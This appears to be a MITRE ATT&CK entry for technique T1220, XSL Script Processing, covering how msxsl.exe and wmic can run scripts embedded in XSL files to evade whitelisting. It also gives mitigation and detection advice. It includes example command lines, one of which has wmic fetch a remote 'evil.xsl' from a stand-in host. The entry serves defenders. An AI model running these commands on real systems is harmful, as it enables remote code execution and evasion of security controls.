XSL Script Processing

Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. [1]

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to Trusted Developer Utilities, the Microsoft common line transformation utility binary (msxsl.exe) [2] can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. [3] Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. [4]

Command-line example: [3]

  • msxsl.exe customers[.]xml script[.]xsl

Another variation of this technique, dubbed "Squiblytwo", involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. [5] This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool.

Command-line examples: [5]

  • Local File: wmic process list /FORMAT:evil[.]xsl
  • Remote File: wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"
ID: T1220

Tactic: Defense Evasion, Execution

Platform:  Windows

System Requirements:  Microsoft Core XML Services (MSXML) or access to wmic.exe

Permissions Required:  User

Data Sources:  Process monitoring, Process command-line parameters, Process use of network, DLL monitoring

Supports Remote:  No

Defense Bypassed:  Anti-virus, Application whitelisting, Digital Certificate Validation

Contributors:  Casey Smith; Praetorian

Version: 1.0



Astaroth executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain.[6]

Cobalt Group

Cobalt Group used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.[7]


Windows Management Instrumentation and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.


Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). [5] [8] Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.

The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.